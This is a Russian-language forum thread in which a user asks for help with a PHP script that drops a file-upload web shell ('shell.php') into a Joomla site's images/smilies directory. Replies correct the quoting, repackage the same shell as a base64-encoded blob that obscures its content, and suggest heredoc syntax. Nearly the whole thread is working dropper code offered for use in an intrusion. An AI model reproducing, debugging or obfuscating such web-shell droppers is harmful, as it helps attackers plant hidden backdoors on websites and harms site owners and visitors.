Здравствуйте! Я тут скриптик один дописал для закачки шелла, но там постоянно лезет ошибка начиная с 11-й строки, скажите, в чём ошибка? Выдаёт Parse error: parse error, unexpected T_STRING in z:\home\localhost\www\script2.php on line 11 <?php $file = fopen("Z:\\home\localhost\www\joomla\images\smilies\shell.php", "w"); fwrite ($file, "<html> <head> <title>Результат загрузки файла</title> </head> <body> <h2><p><b> Форма для загрузки файлов </b></p></h2> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="filename"><br> <input type="submit" value="Загрузить"><br> </form> <?php if(isset($_FILES)) { if($_FILES["filename"]["size"] > 1024*3*1024) { echo ("Размер файла превышает три мегабайта"); exit; } if(copy($_FILES["filename"]["tmp_name"], "C:\WebServers\home\localhost\www\joomla\images\smilies\ ".$_FILES["filename"]["name"])) { echo("Файл успешно загружен <br>"); echo("Характеристики файла: <br>"); echo("Имя файла: "); echo($_FILES["filename"]["name"]); echo("<br>Размер файла: "); echo($_FILES["filename"]["size"]); echo("<br>Каталог для загрузки: "); echo($_FILES["filename"]["tmp_name"]); echo("<br>Тип файла: "); echo($_FILES["filename"]["type"]); } else { echo("Ошибка загрузки файла");} } else { echo "Загрузите файлы!"; }; ?> </body> </html>"); fclose($file); ?>
1) ты _вообще_ не экранировал ковычки PHP: <?php $file = fopen("Z:\\home\localhost\www\joomla\images\smilies\shell.php", "w"); fwrite ($file, "<html> <head> <title>Результат загрузки файла</title> </head> <body> <h2><p><b> Форма для загрузки файлов </b></p></h2> <form action=\"\" method=\"post\" enctype=\"multipart/form-data\"> <input type=\"file\" name=\"filename\"><br> <input type=\"submit\" value=\"Загрузить\"><br> </form> <?php if(isset($_FILES)) { if($_FILES[\"filename\"][\"size\"] > 1024*3*1024) { echo (\"Размер файла превышает три мегабайта\"); exit; } if(copy($_FILES[\"filename\"][\"tmp_name\"], \"C:\WebServers\home\localhost\www\joomla\images\smi lies\ \".$_FILES[\"filename\"][\"name\"])) { echo(\"Файл успешно загружен <br>\"); echo(\"Характеристики файла: <br>\"); echo(\"Имя файла: \"); echo($_FILES[\"filename\"][\"name\"]); echo(\"<br>Размер файла: \"); echo($_FILES[\"filename\"][\"size\"]); echo(\"<br>Каталог для загрузки: \"); echo($_FILES[\"filename\"][\"tmp_name\"]); echo(\"<br>Тип файла: \"); echo($_FILES[\"filename\"][\"type\"]); } else { echo(\"Ошибка загрузки файла\");} } else { echo \"Загрузите файлы!\"; }; ?> </body> </html>"); fclose($file); ?> 2) проще заменить " на ' или ещё проще в base64 всё запихнуть PHP: <?php $data=base64_decode("PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT7Q5efz6/zy4PIg5+Dj8PPn6ugg9ODp6+A8L3RpdGxlPg0KPC9oZWFkPg0KPGJvZHk+DQo8aDI+PHA+PGI+INTu8OzgIOTr/yDn4OPw8+fq6CD04Onr7uIgPC9iPjwvcD48L2gyPg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQo8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZW5hbWUiPjxicj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLH4OPw8+fo8vwiPjxicj4NCjwvZm9ybT4NCjw/cGhwDQppZihpc3NldCgkX0ZJTEVTKSkgew0KaWYoJF9GSUxFU1siZmlsZW5hbWUiXVsic2l6ZSJdID4gMTAyNCozKjEwMjQpDQp7DQplY2hvICgi0ODn7OXwIPTg6evgIO/w5eL7+ODl8iDy8Ogg7OXj4OHg6fLgIik7DQpleGl0Ow0KfQ0KaWYoY29weSgkX0ZJTEVTWyJmaWxlbmFtZSJdWyJ0bXBfbmFtZSJdLA0KIkM6XFdlYlNlcnZlcnNcaG9tZVxsb2NhbGhvc3Rcd3d3XGpvb21sYVxpbWFnZXNcc21pIGxpZXNcDQoNCiIuJF9GSUxFU1siZmlsZW5hbWUiXVsibmFtZSJdKSkNCnsNCmVjaG8oItTg6esg8/Hv5fjt7iDn4OPw8+bl7SA8YnI+Iik7DQplY2hvKCLV4PDg6vLl8Ojx8ujq6CD04Onr4DogPGJyPiIpOw0KZWNobygiyOz/IPTg6evgOiAiKTsNCmVjaG8oJF9GSUxFU1siZmlsZW5hbWUiXVsibmFtZSJdKTsNCmVjaG8oIjxicj7Q4Ofs5fAg9ODp6+A6ICIpOw0KZWNobygkX0ZJTEVTWyJmaWxlbmFtZSJdWyJzaXplIl0pOw0KZWNobygiPGJyPsrg8uDr7uMg5Ov/IOfg4/Dz5+roOiAiKTsNCmVjaG8oJF9GSUxFU1siZmlsZW5hbWUiXVsidG1wX25hbWUiXSk7DQplY2hvKCI8YnI+0ujvIPTg6evgOiAiKTsNCmVjaG8oJF9GSUxFU1siZmlsZW5hbWUiXVsidHlwZSJdKTsNCn0gZWxzZSB7DQplY2hvKCLO+Ojh6uAg5+Dj8PPn6ugg9ODp6+AiKTt9DQp9DQplbHNlIHsNCmVjaG8gIsfg4/Dz5+jy5SD04Onr+yEiOw0KfTsNCj8+DQo8L2JvZHk+DQo8L2h0bWw+"); $file = fopen("Z:\\home\localhost\www\joomla\images\smilies\shell .php", "w"); fwrite ($file, $data); fclose($file); ?>
Есть такая забавная конструкция в php, которая существенно облегчит твою задачу: PHP: $var = <<<HTML чего то там с кавычками " ', тегами пхп ?> %> и тем, чего только твоя душа захочет This uses the "here document" syntax to output multiple lines with $variable interpolation. Note that the here document terminator must appear on a line with just a semicolon. no extra whitespace! HTML; //<-- обязательно с новой строки и с ; в конце. Вместо HTML любая последовательность в верхнем регистре